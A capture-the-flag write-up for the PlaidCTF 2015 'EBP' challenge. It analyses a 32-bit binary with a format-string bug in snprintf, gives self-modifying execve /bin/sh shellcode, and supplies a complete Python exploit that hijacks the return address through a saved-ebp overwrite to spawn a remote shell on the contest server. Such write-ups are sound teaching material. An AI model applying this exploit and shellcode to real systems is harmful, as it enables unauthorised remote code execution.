PlaidCtf-2015 [EBP] Writeup

本文年代久远,其中的表述和倾向可能与现在不同,请留意时效。
This article is obsolute. Expressions and orientations in the article may have been different.

Category: Pwnable
Points: 160
Solves: 157
Description:

nc 52.6.64.173 4545

Download: %p%o%o%p.

check if it is x86 or x64:

$ file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped

checksec:

gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

32-bit binary with nx disabled, means that we can execute shellcode.
Analyze it with IDA, the assembly shows its very simple structure.There are only 3 functions totally:
main -> echo -> make_response
main() reads your input into a buffer sizing 1024 bytes, and call echo() to output it, in which the function calls make_response where lies a format string vulnerability:

.text:080484FD 000                 push    ebp  
.text:080484FE 004                 mov     ebp, esp  
.text:08048500 004                 sub     esp, 18h        
.text:08048503 01C                 mov     dword ptr [esp+8], offset buf ; format  
.text:0804850B 01C                 mov     dword ptr [esp+4], 1024 ; maxlen  
.text:08048513 01C                 mov     dword ptr [esp], offset response ; s  
.text:0804851A 01C                 call    _snprintf     
.text:0804851F 01C                 leave                   
.text:08048520 000                 retn                    

snprintf uses the input buffer directly as the format parameter, so here we can use %n to write any data. Since we can write shellcode, of course the best way is to control the flow jumping to our own shellcode.

And we notice that make_response() saved the ebp of echo() frame, so an amazing way is to modify the ebp of echo(), which is referenced in make_response() frame, to pointing to the echo()'s returning address, then use this new ebp value as the pointer (for %n) to hijack the flow returning to our shellcode.

When passing shellcode by a c-style string, dead chars such as ‘\0’ ‘\n’ can’t exisit. So I wrote this shellcode which modify itself to get rid of dead chars.

;shellcode.asm  
;__NR_execve 11  
;2F 62 69 6E 2F 73 68 FF   ->  /bin/sh 0xff  
push	0xff68732f  
push	0x6e69622f              ;param string  
lea		ebx,	[esp]			;ebx -> calling  
xor		eax,	eax             
mov 	byte[ebx+7],	al      ;fill a \0  
push	eax						
push	ebx						;stack: [sz][0][sz]  
mov	    ecx,	esp				;ecx->the same  
lea		edx,	[ecx+4]			;edx->0  
add		eax,	11  
int		0x80  
xor		eax,	eax  
inc		eax  
xor		ebx,	ebx  
int		0x80
$ nasm -f elf32 -o shellcode.o shellcode.asm && objdump -d shellcode.o | grep '^ ' | cut -f2  
68 2f 73 68 ff       
68 2f 62 69 6e       
8d 1c 24             
31 c0                
88 43 07             
50                   
53                   
89 e1                
8d 51 04             
83 c0 0b             
cd 80                
31 c0                
40                   
31 db                
cd 80 

Copy this to a text editor and replace all spaces with “\x”, then we can get our final exp:

#!/usr/bin/env python2.7  
#encoding:utf-8  

from zio import *  

shellcode = '\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80'  
clen = len(shellcode)  
target = ('52.6.64.173',4545)  
#target = ('./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf')  

io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))  
io.writeline('%4$p')		#return addr  
pWrite =  int(io.read(10),16)  
pWrite += 4  
pWrite &= 0x0000ffff		#only low bits 
pl = '%%%dc%%4$hn'	%	(pWrite,)	#write ebp to pointing ret and fill shellcode  
io.writeline(pl)  
pl = shellcode + '%%%dc%%12$hn' % (41088-clen,)  
raw_input("debuging...")  
io.writeline(pl)  
io.interact()